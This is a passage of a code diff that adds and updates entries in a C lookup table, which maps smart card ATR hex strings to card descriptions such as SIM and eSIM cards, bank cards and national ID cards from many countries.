(Telecommunication)" }, { "3B9F96801F878031E073FE211B674A55527531054BD7", "Softbank (C2) USIM card (Telecommunication)" }, @@ -2907,6 +3130,7 @@ const static atr_t AtrTable[] = { { "3B9F96801FC68031E073F62113674D45220079020080", "TMobile (Telecommunication)" }, { "3B9F96801FC68031E073F62113674D4522008001007A", "ORANGE SPAIN GSM 4G SIM (Telecommunication)" }, { "3B9F96801FC68031E073F62113675602220080010127", "giffgaff USIM (Telecommunication)" }, + { "3B9F96801FC68031E073F6211367560322008801022D", "T-Mobile Sim Card (Telecommunication) (Telecommunication)\nhttps://www.t-mobile.com/" }, { "3B9F96801FC68031E073F62113675603220121010087", "Rain 4G 5G Internet Service provider (Telecommunication)\nhttps://www.rain.co.za" }, { "3B9F96801FC68031E073F62113675603220121020084", "T-Mobile Sim Card (Telecommunication)" }, { "3B9F96801FC68031E073FE2111633F011183079000E4", "VR-Bank VRNetworld HBCI Card (Bank)" }, @@ -2933,6 +3157,7 @@ const static atr_t AtrTable[] = { { "3B9F96801FC68031E073FE211B66D00221AB11180180", "Telekom Germany Triple SIM issued in 2018 (Telecommunication)" }, { "3B9F96801FC68031E073FE211B66D00221AB11180786", "telekom HU nano sim card (Telecommunication)\nhttps://www.telekom.hu" }, { "3B9F96801FC68031E073FE211B66D00224DB141005FC", "CZ KAKTUS SIM CARD (Telecommunication)" }, + { "3B9F96801FC68031E073FE211B66D0023BFE141001C2", "Freenet SIM Card (Deutsche Telekom, green LTE) (Telecommunication)\nhttps://www.freenet-mobilfunk.de/handytarife/green-lte-tarife/" }, { "3B9F96801FC68031E073FE211C6441193100829000AE", "SORACOM SIM (plan unknown) (Telecommunication)" }, { "3B9F96801FC78031A073BE21136742470111000001CC", "Bank of Hawai'i (Bank)\nhttps://www.boh.com/" }, { "3B9F96801FC78031A073BE2113674320071800000100", "sysmoUSIM-SJS1 (Telecommunication) (Telecommunication)\nhttp://www.sysmocom.de/products/sysmousim-sjs1-sim-usim" }, @@ -2943,12 +3168,16 @@ const static atr_t AtrTable[] = { { "3B9F96801FC78031E073F62113674D451700630201AF", "TIM 4G LTE SIM Card (Telecommunication)\nhttp://www.tim.com.br" }, { "3B9F96801FC78031E073F62113674D4524006701009A", "Mediamarkt Mobil SIM card (Austria) (Telecommunication)\nhttp://mobil.mediamarkt.at" }, { "3B9F96801FC78031E073F62113674D45270077010089", "T-Mobile Compatible Straight Talk(tm) SIM Card (Telecommunication)\nhttps://www.straighttalk.com/home" }, + { "3B9F96801FC78031E073F621136756022701010203A2", "Movistar ES SIM Card (ICCID 89304075700066xxxxxx) (Telecommunication)" }, + { "3B9F96801FC78031E073F621136756023501030103B1", "Keepgo (Movistar) Lifetime World SIM Card (Telecommunication)\nhttps://www.keepgo.com/products/keepgo-lifetime-prepaid-data-sim-card" }, { "3B9F96801FC78031E073F62113675603270089010228", "TMobile Prepaid USIM (Telecommunication)" }, { "3B9F96801FC78031E073F621136756032701010203A3", "USIM LTE MOVISTAR (Telecommunication)" }, { "3B9F96801FC78031E073F621136756032701020100A0", "vivo (Other)" }, { "3B9F96801FC78031E073F621136756032701070100A5", "weex sim card (Telecommunication)" }, { "3B9F96801FC78031E073F62113675603270120020081", "VALID brand SIM card from T-Mobile (Telecommunication)" }, + { "3B9F96801FC78031E073F62113675603270120020180", "TMbl SIM (Telecommunication)" }, { "3B9F96801FC78031E073F6211367560346014901008A", "T-Mobile Poland pre-paid SIM card (Telecommunication)" }, + { "3B9F96801FC78031E073F62157574A4D020C6080004D", "Google Fi Data SIM (Telecommunication)\nhttps://fi.google.com" }, { "3B9F96801FC78031E073F6A157574A4D020B6110005B", "G+D Mobile Security for private 5G USIM (Telecommunication)\nhttps://www.gi-de.com/en/connectivity/mobile-network-operator/5g#5g-sim" }, { "3B9F96801FC78031E073FE21..63......83..9000..", "TIM (Italy) 128KB GSM SIM\nH3G (Italy) UMTS USIM\nVodafone (UK) SIM" }, { "3B9F96801FC78031E073FE211163407262830790009A", "GSM SIM / LTE UICC card issued by Omnitel, Lithuania (Telecomunications)" }, @@ -2967,6 +3196,7 @@ const static atr_t AtrTable[] = { { "3B9F96801FC78031E073FE2113574A330E25333200BB", "Sintel hi! Tourist prepaid (Telecommunication)\nhttp://www1.singtel.com/personal/phones-plans/mobile/prepaid/hitouristsimcards.html" }, { "3B9F96801FC78031E073FE2113574A330E26333200B8", "Vodafone sim card (Telecommunication)" }, { "3B9F96801FC78031E073FE2113574A330E3F333400A7", "SIM Card (Telecommunication)" }, + { "3B9F96801FC78031E073FE2113574A330E48333000D4", "Lifecell UA (Telecommunication)" }, { "3B9F96801FC78031E073FE2113574A338101330017", "Telefonica M2M Global SIM (Telecommunication)" }, { "3B9F96801FC78031E073FE2113574A33810433330014", "PureTalk SIM Card (Telecommunication)" }, { "3B9F96801FC78031E073FE21135786812786986143F4", "China Telecommunications Corporation (Telecommunication)" }, @@ -3040,21 +3270,31 @@ const static atr_t AtrTable[] = { { "3B9F96801FC78031E073FE211B644124940082900030", "Telefonica Germany / o2 cellular USIM card (ICCID starts with 89492281945) - Card manufacturer IDEMIA Germany GmbH (code 8) - Year 19 / Week 45 (Telecommunication)" }, { "3B9F96801FC78031E073FE211B6441271100829000B6", "Viettel LTE SIM Card (Telecommunication)" }, { "3B9F96801FC78031E073FE211B6441380200829000BA", "SIM card operateur Free (Telecommunication)" }, + { "3B9F96801FC78031E073FE211B644144420082900086", "wom chile (Telecommunication)" }, { "3B9F96801FC78031E073FE211B6441447300829000B7", "Bouygues Telecom (French Mobile Provider SIM card) (Telecommunication)\nhttps://www.bouyguestelecom.fr" }, { "3B9F96801FC78031E073FE211B6441503100829000E1", "telcel sim card (Telecommunication)" }, { "3B9F96801FC78031E073FE211B644163940082900077", "EMnify SIMcard (Telecommunication)\nhttps://www.emnify.com/global-iot-sim" }, + { "3B9F96801FC78031E073FE211B6441703100829000C1", "Slovak Railways (Telecommunication)" }, { "3B9F96801FC78031E073FE211B6441725100829000A3", "Free Mobile (French wireless service provider) SIM card (mini-SIM with micro-SIM cutout) received in 2020-09 (Telecommunication)\nhttps://mobile.free.fr/" }, { "3B9F96801FC78031E073FE211B6441725200829000A0", "Woolworths Mobile Prepaid SIM (Telecommunication)\nhttps://mobile.woolworths.com.au/" }, { "3B9F96801FC78031E073FE211B6441763200829000C4", "T-Mobile SIM card issued April 2021 (Telecommunication)" }, + { "3B9F96801FC78031E073FE211B644183710082900072", "SIM card (Telecommunication)" }, { "3B9F96801FC78031E073FE211B644183720082900071", "Ucom Armenia (Telecommunication)\nhttps://www.ucom.am" }, + { "3B9F96801FC78031E073FE211B644187210082900026", "French SIM card from MVNO Phenix Partners, host operator Orange (Telecommunication)" }, + { "3B9F96801FC78031E073FE211B644187950082900092", "Dish Wireless 5G (Telecommunication)\nhttps://help.boostmobile.com/docs/boost-mobile-network" }, + { "3B9F96801FC78031E073FE211B64418892008290009A", "VIVO pre SIM card (Telecommunication)" }, + { "3B9F96801FC78031E073FE211B644189610082900068", "SIM card of a MEO subsidiary 'UZO' (Telecommunication)\nhttps://www.uzo.pt/uzo/" }, + { "3B9F96801FC78031E073FE211B6450016600829000F6", "SIM card (manufactured by IDEMIA) Telecommunication" }, { "3B9F96801FC78031E073FE211B6450040100826A82EC", "SIM (Telecommunication)" }, - { "3B9F96801FC78031E073FE211B6450055100829000C5", "Sim card Team Telecom Armenia (Telecommunication)\nhttps://www.telecomarmenia.am/hy/" }, + { "3B9F96801FC78031E073FE211B6450055100829000C5", "Sim card Team Telecom Armenia (Telecommunication)\nhttps://www.telecomarmenia.am/hy/\nSIM card issued by Serbian MTS (Telecommunication)" }, + { "3B9F96801FC78031E073FE211B6450094300829000DB", "Czech Railways (Telecommunication)" }, { "3B9F96801FC78031E073FE211B65240109010081057B", "Lycamobile (UK) GSM SIM card" }, { "3B9F96801FC78031E073FE211B65260109000781057F", "EMT WPKI 2015 (ECC) subscription (Telecommunication)\nhttps://www.emt.ee/en/pakkumised/mobiil-id" }, { "3B9F96801FC78031E073FE211B65270109010381057B", "slarmy (Telecommunication)" }, { "3B9F96801FC78031E073FE211B652A01090101810574", "9mobile Nigeria (Telecommunication)\nhttp://www.9mobile.com.ng" }, { "3B9F96801FC78031E073FE211B652A010A0102810574", "Thailand AIS SIM Card (Telecommunication)" }, { "3B9F96801FC78031E073FE211B652A010E0201810570", "gsm (Telecommunication)" }, + { "3B9F96801FC78031E073FE211B652B010E010981057A", "Standard SIM card (Telecommunication)" }, { "3B9F96801FC78031E073FE211B652D010C0400810572", "Tri Indonesia Bima+ SIM Card (Telecommunication)\nhttps://beta.tri.co.id/3digiworld/Bimaplus" }, { "3B9F96801FC78031E073FE211B652F0109020A810579", "cellcom israel sim (Telecommunication)" }, { "3B9F96801FC78031E073FE211B652F01090602810575", "Indosat SIM Card (Telecommunication)" }, @@ -3070,29 +3310,44 @@ const static atr_t AtrTable[] = { { "3B9F96801FC78031E073FE211B66D0016B820E3805DA", "GTS Czech MVNE SIM for T-Mobile (Telecommunication)\nhttp://www.gts.cz/cz-en/solutions/types/wholesale/mvne" }, { "3B9F96801FC78031E073FE211BB3E20394830F90006D", "GemXplore 3G v2.2" }, { "3B9F96801FC78031E073FE211BB3E204A5830F90005B", "Tre Italia Gemplus (Telecommunication)" }, + { "3B9F96801FC78031E073FEA117574A33058C33390096", "1NCE SIM card (Telecommunication)\nhttps://1nce.com/en-eu/1nce-os/our-architecture" }, + { "3B9F96801FC78031E073FEA11F6441805100829000D5", "Smartjac smaot500b234ff (Telecommunication)\nhttps://www.smartjac.biz" }, + { "3B9F96803F87828031E073FE211B67454D753034024B02", "Hologram Global G1 eUICC SIM (Telecommunication)\nhttps://www.hologram.io/products/global-iot-sim-card/" }, + { "3B9F96803F87828031E073FE211F574543753130136502", "sysmoEUICC1-Cxx - eUCICC for econsumer eSIM RSP (Telecommunication)\nhttps://sysmocom.de/products/sim/sysmocom-euicc/index.html" }, + { "3B9F96803F87828031E073FE211F574543753130266F3D", "eSIM physical card, you can write eSIM profiles into it and use it as a general SIM (Telecommunication)\nhttps://www.9esim.com/" }, + { "3B9F96803F87828031E073FE211F574543753130276F3C", "An eSIM physical card, you can write eSIM profiles into it and use it as a general SIM Telecommunication\nhttps://www.9esim.com/" }, { "3B9F96803FC3A08031E073F62113574A4D0E1D31300071", "Telenor SIM card (Norway)" }, { "3B9F96803FC6A08031E073F62116574A4D020B34546369", "SIM card Wingo operator (Switzerland) (Telecommunication)" }, + { "3B9F96803FC7008031E073FE21136767A002D9000001E5", "Kcell (Telecommunication)" }, { "3B9F96803FC7008031E073FE211B6408050300829000EF", "Multipurpose UICC card for 2G, 3G, 4G/LTE, CDMA, ISIM & NFC (Telecommunication)\nhttp://www.smartjac.biz/index.php/component/eshop/telecom/test-uicc-sim-cards/2ff-mini-sim-cards/4g-open-multipurpose-uicc-card-3ff?Itemid=0" }, { "3B9F96803FC7008031E073FE211F6441262100829000A3", "Smartjac SMAOT100A234FF (Telecommunication)\nhttps://smartjac.com" }, { "3B9F96803FC7828031E073F62157574A330581053000CE", "COMPRION M2M eUICC (Telecommunication)" }, + { "3B9F96803FC7828031E073F62157574A4D020B3446007A", "cosmo one 9.1 (eID)" }, { "3B9F96803FC7828031E073F62157574A4D020B60010069", "eSIM GSMA Card (Telecommunication)\nhttps://www.gsma.com/newsroom/wp-content/uploads/SGP.22_v2.2.pdf" }, { "3B9F96803FC7828031E073F62157574A4D020B60610009", "ting (Telecommunication)" }, { "3B9F96803FC7828031E073FE211B57AA8660F0010004FB", "The eSIM.me Card (Telecommunication)\nhttps://esim.me/" }, { "3B9F96803FC7828031E073FE211B57AA8660F0010011EE", "eSIM.me pluggable eSIM (Telecommunication)\nhttps://esim.me/" }, + { "3B9F96803FC7828031E073FE211B57AA8660F0010017E8", "eSim.me Orange Setup (Telecommunication)" }, + { "3B9F96803FC7828031E073FE211B57AA8660F001001EE1", "5Ber (Telecommunication)\nhttps://esim.5ber.com" }, + { "3B9F96803FC7828031E073FE211B57AA8660F0010027D8", "5ber physical eUICC / eSIM (Standard Version) (Telecommunication)\nhttps://esim.5ber.com/order?language=en-US" }, + { "3B9F96803FC7828031E073FE211B57AA8660F3030002FC", "Xesim X2 (Telecommunication)\nhttps://xesim.cc/products/xesim?VariantsId=10004" }, { "3B9F96803FC7828031E073FE211B633A204E8300900031", "eSIM (Telecommunication)" }, { "3B9F96803FC7828031E075F62157200355020B60500018", "iPhone 11 SIM Slot eUICC chip. Identified by eSTK.me. (Telecommunication)" }, { "3B9F96803FC7828031E075F62157200355020C608000CF", "ST33J2M0STL9DZB0 (Telecommunication)\nhttps://www.st.com/en/secure-mcus/st33j2m0.html" }, { "3B9F96803FC7828031E075F62157210355020B60010048", "ST33G1M2STL8ENL0 (Telecommunication)\nhttps://www.st.com/en/secure-mcus/st33g1m2.html" }, { "3B9F96803FC7828031E075F62157210355020B60500019", "st33g1m2 (Telecommunication)\nhttps://www.st.com/en/secure-mcus/st33g1m2.html" }, { "3B9F96803FC7828031E075F62157210355020C608000CE", "ST33J2M0STL9DZB1 (Telecommunication)\nhttps://www.st.com/en/secure-mcus/st33j2m0.html" }, + { "3B9F96803FC7828031E075F621573C0455020C61010054", "euicc from iphone14 (Telecommunication)" }, { "3B9F96803FC7A08031E073F62116574A4D020233456377", "ISIS-Ready T-Mobile Sim Card (Telecommunication)" }, { "3B9F96803FC7A08031E073F62156574A4D020B3444005B", "Norwegian telenor (Telecommunication)\nhttp://www.telenor.no" }, + { "3B9F96803FC7A08031E073F62157574A4D020B3444005A", "Verizon 4G SIM (Telecommunication)" }, { "3B9F96803FC7A08031E073F62157574A4D020B34546329", "Orange FR - opa (Telecommunication)" }, { "3B9F96803FC7A08031E073FE211B63F100E8830090005E", "UICC CARD (Telecommunication)" }, { "3B9F96803FC7A08031E073FE211B6407689A00829000B4", "Orange SIM Card (Telecommunication)" }, { "3B9F96803FC7A08031E073FE211B64080503008290004F", "NFC-enabled SIM card of MTS Russia. (Telecommunication)" }, { "3B9F96803FC7A08031E073FE211F6300690083819000AB", "GSM file system and SWP sample supplied with STMicro development kit (Other)" }, { "3B9F96803FC7A08031E073FE211F6441269100829000B3", "LTE Lab SIM Ver 1.3 (Telecommunication)" }, + { "3B9F968131FE454F52434C2D4A43332E324750322E3323", "Oracle JavaCard simulator (25.0) (Other)" }, { "3B9F968131FE458065544312210831C073F6218081059A", "Scientific and Technological Research Council of Turkey (test card) (eID)" }, { "3B9F968131FE45806755454B41451212318073B3A180EA", "AKiS v1.2 on nxp chip" }, { "3B9F968131FE45806755454B41451252318073B3A180AA", "AKiS v1.2.1 on infineon chip" }, @@ -3116,21 +3371,25 @@ const static atr_t AtrTable[] = { { "3B9F96C00A31FE45435431690B010001000000000000000D", "EU smart tachograph card (driver/company/control/workshop)\nhttps://dtc.jrc.ec.europa.eu/" }, { "3B9F96C00A31FE45754A6176656C696E2D4F5320312E3051", "Vietnam ID Card (eID)" }, { "3B9F96C00A3FC6A08031E073FE211B65D001740EEB810FD7", "Verizon '4G LTE' USIM (Telecommunication)" }, + { "3B9F96C00A3FC6A08031E073FE211B65D001740F13810F2E", "SFR GSM SIM Card (Telecommunication)" }, { "3B9F96C00A3FC6A08031E073FE211B65D001740F50810F6D", "5G (Telecommunication)" }, { "3B9F96C00A3FC6A08031E073FE211F65D001900F3B810FE6", "Verizon US USIM card (Telecommunication)" }, { "3B9F96C00A3FC6A08031E073FE211F65D00209107C810F24", "GSM SIM Vodafone NL postpaid NFC+ (Telecommunication)" }, { "3B9F96C00A3FC6A08031E073FE211F65D0021B12B7810FFF", "SIM Card Fastweb IT GSM mobile network (Telecommunication)" }, + { "3B9F96C00A3FC6A08031E073FE211F65D0023314E0810F86", "Verizon 5G sim card (Telecommunication)" }, { "3B9F96C00A3FC7828031E073FE211F65D00209146C810F13", "euicc (eID)" }, { "3B9F96C00A3FC7A08031E073FE211B65D001740E8D810FB0", "USIM" }, { "3B9F96C00A3FC7A08031E073FE211B65D001740EE3810FDE", "EE (UK) Mobile Phone SIM Card circa 2016 (Telecommunication)" }, { "3B9F96C00A3FC7A08031E073FE211B65D001740F13810F2F", "Phone card sim (Telecommunication)" }, { "3B9F96C00A3FC7A08031E073FE211F65D0021A12AB810FE3", "Orange SIM (Telecommunication)" }, { "3B9F96C00A3FC7A08031E073FE211F65D0021B12B7810FFE", "ISPL Card (Telecommunication)" }, + { "3B9F96C0F031FE45754A6176656C696E2D4F5320312E30AB", "ATKey.Card NFC Bio-ID (eID)" }, { "3B9F97801FC68031E073FE211B6441442100829000E5", "SAKURA Internet SIM (Telecommunication)\nhttps://www.sakura.ad.jp/services/sim/" }, { "3B9F97801FC68031E073FE211B65CA010E060B81059E", "rain Networks - R15 4G Sim Card (Telecommunication)\nhttp://www.rain.co.za" }, { "3B9F97801FC78031E073FE211367980801120401045B", "Tmobile Sim card (Telecommunication)" }, { "3B9F97801FC78031E073FE211367980801120601065B", "Tmobile (Telecommunication)" }, { "3B9F97801FC78031E073FE2113679814010202010257", "Orange SIM from Egypt (Telecommunication)" }, + { "3B9F97803FC6828031E073FE211F630089008381900069", "ST4SIM-200M (Telecommunication)\nhttps://www.st.com/en/secure-mcus/st4sim-200m.html" }, { "3B9F97803FC7828031E073FE211F640856210082900019", "eSIM card (Telecommunication)" }, { "3B9F97803FC7828031E073FE211F6409069200829000FB", "Ubigi Transatel esim (Telecommunication)" }, { "3B9F978131FE458065544312210831C073F621808105", "Republic of Turkey Identity Card (eID)\nhttps://bilgem.tubitak.gov.tr/en/icerik/national-identity-card-tr-nc-identity-card" }, @@ -3138,11 +3397,14 @@ const static atr_t AtrTable[] = { { "3B9F978131FE458065544312210831C073F6218081059B", "Turkish Republic Identity Card - Turkiye Cumhuriyeti Kimlik Karti (TCKK) (eID)\nhttp://www.ekds.gov.tr/tckk/t-c-kimlik-karti/tanim" }, { "3B9F978131FE4580655443D2210831C073F6218081055B", "Turkish Republic official electronic ID card with biometric data, e-signature, authentication, secure private-key cryptographic messaging, etc. (eID)\nhttp://bilgem.tubitak.gov.tr/en/icerik/national-identity-card-tr-nc-identity-card" }, { "3B9F978131FE4580655443D3228231C073F621808105D3", "Turkish eID (Turkiye Cumhuriyeti Kimlik Karti) (eID)" }, + { "3B9F97C00A1FC68031E073FE211F65D00233150E810FE8", "SIM Card (Telecommunication)" }, { "3B9F97C00A1FC78031E073FE211B65D0011009228100F2", "'ultra fast card, max speed supported for telecom'? (transport)" }, { "3B9F97C00A1FC78031E073FE211B65D001900F3B810F62", "Gemalto Multi-SIM consumer 4.2 (ST33I1M2) (Telecommunication)" }, { "3B9F97C00A3FC6828031E073FE211B65D0023314A5810FE4", "Thales eUICC French Ministry BAP v2 (Telecommunication)" }, + { "3B9F97C00A3FC6828031E073FE211F65D0023314A5810FE0", "Flexiroam SIM card (Telecommunication)\nhttps://www.flexiroam.com/" }, { "3B9F97C00A3FC6A08031E073FE211B65D001740EEB810FD6", "Verizon 4G LTE Micro SIM (Telecommunication)" }, { "3B9F97C00A3FC6A08031E073FE211F65D0021B13F6810FBE", "Verizon SIM Card (Telecommunication)" }, + { "3B9F97C00A3FC6A08031E073FE211F65D0023314E0810F87", "Verizon 5G SIM Card (Telecommunication)\nhttps://www.verizon.com/" }, { "3B9F97C00A3FC7A08031E073FE211F65D001900FEE810F33", "AT&T Mobility LLC MicroSIM Card (Telecommunication)\nhttps://www.att.com/wireless/" }, { "3B9F97C00AB1FE453FC6828031E073FE211B65D0023A14C9810F8B", "SIM (Telecommunication)" }, { "3B9F97C0FF1FC78031E073FE211B63F100AD830F90002A", "Gemalto Speed Enhancement 97 (Telecommunication)" }, @@ -3188,10 +3450,11 @@ const static atr_t AtrTable[] = { { "3BB794008131FE6553504B32339000D1", "Giesecke & Devrient Starcos 2.3\nDeutsche Bank WebSign (RSA-Card)\nG&D StarSign Token\nOsakidetza ONA (eID)\nhttp://www.osakidetza.euskadi.eus/r85-ckserv01/es/contenidos/nota_prensa/ruedasanidad35/es_rs/ruedasanidad35_c.html" }, { "3BB813008131205D0057696E4361726402", "SmartCard for Windows 1.1" }, { "3BB813008131FA524348544D4F494341A5", "citizen digital certificate (PKI)\nhttp://moica.nat.gov.tw/" }, + { "3BB89600C00831FE45FFFF1154305023006A", "Infineon SECORA ID S, SLJ52GDT120CS (JavaCard)" }, { "3BB897008131FE45FFFF148230502300F1", "UAE Emirates ID (eID)\nhttps://www.icp.gov.ae" }, { "3BB89700813FE45FFFF148230502300F", "UAE Emirates ID (eID)" }, { "3BB89700C00831FE45FFFF148230502300B8", "Infineon SECORA ID X (JavaCard)" }, - { "3BB918008131FE9E8073FF614083000000DF", "Serbian Identity Card\nThis is the new Serbian biometric identity card (every adult cityzen\nmust have). The chip contains owners picture, name, date and place\nof birth, current address, unique ID number and fingerprint." }, + { "3BB918008131FE9E8073FF614083000000DF", "Serbian Identity Card\n1st Serbian biometric identity card (every adult cityzen must have).\nThe chip contains owners picture, name, date and place of birth, current\naddress, unique ID number and fingerprint." }, { "3BB9940040144747334D4838353330", "T D1 GSM card (Telecommunication)" }, { "3BB9940040144747334E4838363430", "GSM-SIM card of the Austrian mobile phone provider One\nhttp://www.one.at\nProximus SIM - Belgium (SetCOS?)\no2 GSM-SIM card Germany 2003" }, { "3BBA11001000434C5F53414D00133800", "Planeta Informatica CL-SAM (Other)\nhttp://www.planeta.inf.br/" }, @@ -3252,6 +3515,8 @@ const static atr_t AtrTable[] = { { "3BBE1100004107020000000000000000019000", "ACOS7 MOC Combi-Card (Other)\nhttp://www.acs.com.hk/en/products/123/acos7-moc-combi-card/" }, { "3BBE1800004105..0000000000000000009000", "Advanced Card Systems (ACS) ACOS5 Cryptographic Smart Card" }, { "3BBE1800004105100000000000000000009000", "ACS ACOS5 'ACOS5-32-G' dual card\nhttp://www.acs.com.hk/acos5.asp" }, + { "3BBE1800004206110000000000000000009000", "Etoken nano 192k (eID)" }, + { "3BBE94004014474733463034415A455439313330", "GSM operator Life Ukraine (Telecommunication)" }, { "3BBE940040144747335333454441544C36303130", "SingTel hi! Prepaid GSM SIM UICC (Telecommunication)" }, { "3BBE940040144747335333454841544C39313000", "Latvian GSM operator TELE2" }, { "3BBE940040144747335333474841544C39313030", "simCard Vip Mobile(Serbia) or Telecom Austria (Telecommunication)\nhttp://www.vipmobile.rs/" }, @@ -3273,6 +3538,7 @@ const static atr_t AtrTable[] = { { "3BBF..008131FE5D0064059103..31C073F701D0009000..", "TCOS 3.0 on Infineon SLE 66CX680PE" }, { "3BBF11008131..4545504100000000........0000......", "Austrian Quick E-purse\nhttp://www.quick.at/" }, { "3BBF11008131FE45455041000000000000000000000000F1", "a.sign premium signature card" }, + { "3BBF11008131FE4545504100000000792780760000000059", "Raiffeisenbank Austria (Raffeisen Club) Maestro debit card (old model) (Bank)" }, { "3BBF11008131FE454D434100000100016971850000000077", "Austrian 'easybank' branded Mastercard, issued 2007" }, { "3BBF11008131FE454D434100000100020820510000000090", "austrian combined card of a mastercard and OBB Vorteilscard (Austrian Federal Railways)\nhttp://www.oebb.at/pv/de/Servicebox/VORTEILScard/Bezahlen_mit_der_VORTEILScard/VORTEILScard_MasterCard.jsp" }, { "3BBF11008131FE454D43410000010002559133000000001E", "Mastercard (Paylife Austria)" }, @@ -3282,12 +3548,15 @@ const static atr_t AtrTable[] = { { "3BBF1800C02031705253544152434F5320533231204390009C", "Giesecke & Devrient SPK 2.1 C" }, { "3BBF9300801FC68031E073FE2113576573746B2E6D65E3", "eSTK.me v1.2.5 or later (Telecommunication)\nhttps://eSTK.me" }, { "3BBF9300803FC6828031E073FE2113576573746B2E6D6541", "eSTK.me v1.2.4 (Telecommunication)\nhttps://eSTK.me" }, + { "3BBF9400801FC68031E073FE2113576573746B2E6D65E4", "eSTK.me SGP.22 consumer card T001V06 (3.4.3) (Telecommunication)" }, { "3BBF94008131FE65454C55204175737472696120312E3238", "A-Trust: trust-sign (Old Version, ca. 2002) for Digital Signature etc.\nA-Trust: a-sign-premium (ca. 2004) 'Burgerkarte' ('Citizen-Card')\nfor Identifikation, Digital Signature etc.\n('should be' Starcos 2.3)" }, + { "3BBF9500801FC68031E073FE2113576573746B2E6D65E5", "eSTK.me v3.1.1 or later (Telecommunication)\nhttps://estk.me" }, + { "3BBF9500803FC6828031E073FE2113576573746B2E6D6547", "eSTK.me v3.1.1 (Telecommunication)\nhttps://eSTK.me" }, { "3BBF96008131FE5D0064........31C073F701D0009000..", "TCOS 3.0 / NetKey 3.0" }, { "3BBF96008131FE5D00640411000031C073F701D0009000", "DATEV eG, Nuernberg, Bavaria, Germany (PKI)\nhttp://www.datev.de" }, { "3BBF96008131FE5D00640411030131C07301D000900000", "DATEV eG, Nuernberg, Bavaria, Germany (PKI)\nhttp://www.datev.de" }, { "3BBF96008131FE5D00640411030131C073F701D0009000", "DATEV eG, Nuernberg, Bavaria, Germany (PKI)\nhttp://www.datev.de" }, - { "3BC5FF8131FB458073C6010000", "Japanese Individual Number Card (eID)\nhttps://www.kojinbango-card.go.jp/en/kojinbango/index.html" }, + { "3BC5FF8131FB458073C6010000", "Japanese Public Key Infrastructure (PKI)\nhttps://www.jpki.go.jp/\nJapanese Individual Number Card (My Number Card) (eID)\nhttps://www.kojinbango-card.go.jp/en/" }, { "3BC800000073C84000000000", "verve (Bank)" }, { "3BCDFF8031FE450068D276000028040481009000CD", "Tachograph company test card (Transport)" }, { "3BD096FF81B1FE451F032E", "New european health insurance card of the German health insurance (G2) (HealthCare)\nhttps://de.wikipedia.org/wiki/Elektronische_Gesundheitskarte" }, @@ -3302,14 +3571,19 @@ const static atr_t AtrTable[] = { { "3BD218008131FE58C90316", "Austrian 'RKS-Card' issued by GlobalTrust (PKI)\nhttps://secure.globaltrust.eu/info-rksv.html" }, { "3BD218008131FE58C90411", "Identity Card in Slovakia with security chip and e-signature issued after 2021-06-21 (eID)\nD-TRUST Card 4.1 Standard, qualified signature card" }, { "3BD218008131FE58CA6076", "CardOS IoT V5.4 (PKI)\nhttps://atos.net/wp-content/uploads/2018/11/ct_181127_lpm_cardos_iot_v5-4_fs_en4_web.pdf" }, + { "3BD218008131FE58CB0116", "D-Trust Card 5.1/5.4 (contact based)\nhttps://www.d-trust.net/de/support/signatur-und-siegelkarten" }, { "3BD21802C10A31FE58C80D51", "Siemens Card CardOS M4.4" }, { "3BD296FF81B1FE451F870102AB", "Electronic Vehicle Registration (eVR) from RDW.nl (The Netherlands), open sourced at [URL], demo (Windows / Linux Wine Mono) (Transport)\nhttps://github.com/eVRMTV/eVR" }, + { "3BD396FF81B1FE451F0380810529", "German Health Insurance Card 'Gesundheitskarte' (HealthCare)\nhttps://www.bahn-bkk.de/" }, { "3BD396FF81B1FE451F078081052D", "German public health insurance card (Elektronische Gesundheitskarte eGK), 2nd generation (G2) (HealthCare)" }, + { "3BD49500400A5348434C", "Rc book (Transport)" }, { "3BD5180081313A7D8073C8211030", "Aladdin eToken NG-Flash with 256MB of flash memory\nAladdin eToken PRO (72KB)\nhttp://www.aladdin.com/etoken/devices/default.aspx" }, { "3BD518008131FE7D8073C82110F4", "Bank of Lithuania Identification card\nGemalto SafeNet eToken Java Based Cards\nhttps://safenet.gemalto.com/multi-factor-authentication/authenticators/pki-usb-authentication/" }, { "3BD518FF8091FE1FC38073C8211308", "Athena IDProtect (JavaCard 2.2.2)\nhttp://www.athena-scs.com/product.asp?pid=32\nThales nShield Security World Card - Remote Administration Ready\nhttps://www.thalesesecurity.fr/products/hsm-management-and-monitoring/nshield-remote-administration" }, + { "3BD518FF8191FE1FC34A434F503422", "algerian driving licence (eID)" }, { "3BD518FF8191FE1FC38073C821100A", "ComSign digital signature card (eID)\nhttps://www.comsign.co.uk/" }, { "3BD518FF8191FE1FC38073C8211309", "Athena IDProtect Key (v2)\nhttp://www.athena-scs.com/product.asp?pid=33" }, + { "3BD518FF81B1FE451FC38073C821106F", "DPI Card ID Guatemala Version 2024 (eID)\nhttps://www.renap.gob.gt/" }, { "3BD5950400AE01020101", "Axalto Cyberflex Access 64K v2b SM 1.1" }, { "3BD595FF8091FE1FC38073C8211385", "Athena IDProtect - Cryptographic Java Card\nhttp://www.athena-scs.com/product.asp?pid=32" }, { "3BD596028031FE654F734549441F", "AVR128DA32 microcontroller based open source EID smartcard with RSA and ECC. (eID)\nhttps://oseid.sourceforge.io/" }, @@ -3318,6 +3592,7 @@ const static atr_t AtrTable[] = { { "3BD6180080B1806D1F038051006110309E", "Atmel/Athena T0 PC/SC Compliance Test Card No. 1" }, { "3BD618008131FE7D415350204F5383", "ASP FIXED CHAL1, 2, 3 and 4 (Other)" }, { "3BD6180081B1807D1F038051006110308F", "ASECard Crypto\nhttp://www.athena-scs.com/product.asp?pid=8" }, + { "3BD618FF8191FE1FC34573C8211110DD", "PDOX J3R180 (JavaCard)" }, { "3BD6960081B1FE451F078031C1521118F8", "smart card from NASA, 2019 (PKI)" }, { "3BD6960081B1FE451F878031C152211949", "DHS CAC card (PKI)" }, { "3BD6960081B1FE451F878031C152411A2A", "Identiv SCR3310 v2.0 (eID)" }, @@ -3327,6 +3602,7 @@ const static atr_t AtrTable[] = { { "3BD6970081B1FE451F878031C152211A4B", "ID-One PIV 2.4 (P/N 1501381) from IDEMIA (Other)" }, { "3BD6970081B1FE451F878031C152411A2B", "Oberthur Technologies ID-One PIV/CIV on V8 Device (eID)\nhttps://csrc.nist.gov/csrc/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp2986.pdf\nIDEMIA Cosmo V8.1 with a PIV applet" }, { "3BD71100400A654E434F533037", "eNCOS MC MChip Advance (Bank)" }, + { "3BD7970081B1FE451F878031C15351132012", "IdemiaID-ONEPIV 